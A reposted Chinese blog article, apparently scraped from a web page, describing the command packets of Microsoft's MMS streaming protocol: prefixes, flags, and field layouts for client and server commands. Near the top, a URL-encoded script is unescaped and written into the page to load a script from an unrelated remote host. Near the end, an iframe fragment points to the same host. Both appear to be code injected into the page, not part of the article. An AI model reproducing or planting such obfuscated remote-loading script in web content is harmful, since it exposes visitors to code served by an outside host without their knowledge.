MMS协议解析2(zz)

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
MMS协议解析2(zz)




转自
http://publishblog.blogchina.com/blog/tb.b?diaryID=5401347
 
01

Server
Prefix 1 f0 f0 f0 f0 -
标志
(
见标志段
)
Prefix 2 0b 00 04 00
Then 1c 00 03 00
结构题定义如下。
功能:发送初始链接信息,包含播放器的版本号、客户端
GUID(
随机产生
)
和要连接的服务器地址。这个命令是在协议初始化之初发送的。它发送本地信息给服务器。
Unicode
数据字符串由以下信息组成:

NSPlayer/7.0.0.1956; {128
比特
16
进制文本客户端
GUID }; Host: The.Host.Net” + 0x00 +
全零隐藏数据域
(
可选项
)

注意
:
客户端
GUID
是随机生成的,具体内容见
'locally generated GUIDs'.
'Host'
域为可选字段。只在
Media Player 7.0
及后续版本中使用。播放器名称必须以 “
NSPlayer”
开始
,
如果服务器收到其他名称,将会自动发送名为
'Upgrade Your Player'
缺省的电影。这是一个
15
秒的教你如何升级的电影。在
NSPlayer
之后可以接任意的东西。例如像
/7.0.0.1956
的版本号。
MediaPlayer7.0
及后续版本才支持
'MMS Proxy Server'
选项。
'Host'
域指明实际流媒体服务器的域名或者
IP
地址,这同是否使用代理并不相关。代理服务器使用这个主机地址连接到流媒体服务器。这就是在
7.0
以前版本里面没有
'host'
域的原因。
01

Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 f0 f0 f0 f0 -
标志
(
详见标志段
)
结构体定义如下:
服务器返回诸如服务器软件版本等信息。





0b 00 04 00
??





1c 00 03 00
??





00 00 00 00 00 00 f0 3f
双精值为
1
内容不详





01 00 00 00
??





01 00 00 00
??





00 80 00 00
??





00 00 a0 00
?? 时有为
80 96 98 00 = 10000000





Ww ww ww ww
服务器版本字符串长度





Xx xx xx xx
工具版本字符串长度





Yy yy yy yy
播放器下载链接长度





Zz zz zz zz
加密方式字符串长度



Unicode
字符串长度在结构体中给出。当域不需要时
length=0
。长度的统计是以两个
byte
为单位。有趣的是服务器版本低于
3.0
时,不接受
0x32
命令。媒体播放器也不会发送这个命令给服务器。准确的说,这个特征在那个版本里还没有实现。
02

Server
Prefix 1 f1 f0 f0 f0 -
标志
(
见标志段
)
Prefix 2 ff ff ff ff
Then 00 00 00 00
Then 00 00 a0 00 -
未知
Then 02 00 00 00 –
映射包头
ID
类型(
Header PacketIDType

发送传输协议、客户端地址和客户端套接字端口号到服务器。
Unicode
字符串格式如下:

//123.456.789.012/TCP/1234” + null +
可选
Unicode
数据,如“
0”

可选数据:当传输协议使用
UDP
时可以显示
10Bytes
的未知数据。
Where: 123.456.789.012
是客户端
IP
地址
,
TCP (

UDP)
标志欲是用的传输协议。
1234
是客户端
TCP

UDP
套接口端口号。
02

Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 f1 f0 f0 f0 -
标志
Then nn nn nn nn - 4 bytes
数据长度
长度计数单位是
4
字节,也包括了
Length
域,所以
4Bytes
就是
1

Then Unicode
字符串数据
这是协议选择命令
0x02
的响应数据。文本“
Funnel Of The”

'Funnel of the gods'
是常见的数据。这说明协议的选择已经生效。
03

Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 00 00 00 00
由服务器返回,指明协议选择的错误。同时也表示从服务器发向客户端的关闭套接字连接的请求。在这个命令之后连接中断。
05

Server
Prefix 1 01 00 00 00 -
命令级别
Prefix 2 ff ff ff ff
Then 8 zeros (
未知
)
或许是双精值
Then Unicode
数据,下文解析。
这条命令请求位于服务器上的文件路径和文件名。这不包含
IP

DNS
信息,只有媒体的路径和文件名。
Unicode
数据字符串格式如下:

this/is/the/file/path/on/server/with/filename.ext” + null +
未知可选数据如“
2C3”
注意
:
文件名后,例如 …
/filename.asf
可以跟随数字签名管理数据。传到服务器的字符串形如:…
/filename.asf?parameter1, parameter2

就像其他人和
.ASP

.JSP Active
输入的字符串参数一样,
parameter1
可以为
0

parameter2
可以是
32bytes

16
进制字符串数据。如果媒体文件需要
DRM
数据,而你并未提供有效的授权字符串,那么访问将被拒绝。在这种情况下,服务器会向客户端发送命令
03
报告断开连接。并附带
'licence required'
错误码
.
05

Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 04 00 00 00 -
响应
Media PacketIDType

Then
下述结构体
现在发送媒体数据,包括媒体的播放时间。





01 00 00 00



未知 但是可以改为
0

1





00 00 00 00



可能是偏移时间,例如
00 00 00 40

2






00 00 00 00



??





00 00 00 00



??





00 00 00 00



??





Xx xx xx xx



单精浮点值
,
显示文件时间减去缓冲区时间,仅在
seek
模式有效,其他情况下总为
1




06

Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 01 00 00 00
Then
结构体如下
功能:答复文件名和路径请求。包括文件数据的包数,包长度和文件播放时间。
06
命令的数据类似于
ASF
文件的头信息。一旦媒体在服务器上定位,媒体流的细节和包便被返回。下面是
prefix
后的结构体信息:





01 00 00 00
结果标志





00 00 00 00





00 00 00 00





00 00 xx yy
广播标志





Tt tt tt tt tt tt tt tt
双精度文件时间点





Ll ll ll ll
回放文件的长度(秒为单位),实时则为
0





00 00 00 00





00 00 00 00





00 00 00 00





00 00 00 00





Pp pp pp pp
媒体包长度,单位
byte





Nn nn nn nn
媒体总包数,实时为
0x00

0xffffffff





00 00 00 00





Ss ss ss ss
最高流比率值





Hh hh hh hh
头大小,单位
bytes





Zeros
数据结构末尾的
40

bytes
零数据



07

Server
Prefix 1 01 00 00 00 -
命令级别
Prefix 2 ff ff 01 00 -

76 04 00 00 #
Then
结构题描述如下
功能:从包
xx
开始文件播放。这条命令也用以恢复下载或请求丢包。在
Seek
模式下用来发送播放点。





8 bytes
双精格式,
Seek
秒数。





4 bytes FF





4 bytes
包序列号

ff ff ff ff
从开始播放

注意
:v9
版本中不可用,任何值都是从头开始播放





3 bytes
最大的流时间限制





1 byte
允许流限制标志





4 bytes Media PacketIDtype





4 bytes
可选数据
#

ff ff ff 7f





4 bytes
可选数据
#

00 00 00 00





4 bytes
可选数据
#

ff ff ff 7f





4 bytes
可选数据
#

00 00 00 00



09

Server
Prefix 1 01 00 00 00 -
命令级别
Prefix 2 ff ff 01 00
停止播放,媒体播放器发送这条命令,流停止,保持套接字连接。
0A

Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 04 00 00 00 -
响应
PacketIDType
Data 00 00 00 00 00 00 00 00 -
双精值
此命令在快进/后退中使用。
0D

Server
Prefix 1 01 00 00 00 -
命令级别
Prefix 2 01 00 00 00
协议中止。常用在关闭套接字连接时。
11

Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 02 00 00 00 -
显示头的
PacketIDType
Then 00 00 00 00 - ??
Then 00 00 00 00

1c 00 03 00
用法未知。
在播放器请求时发送头或
UDP
包。  

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值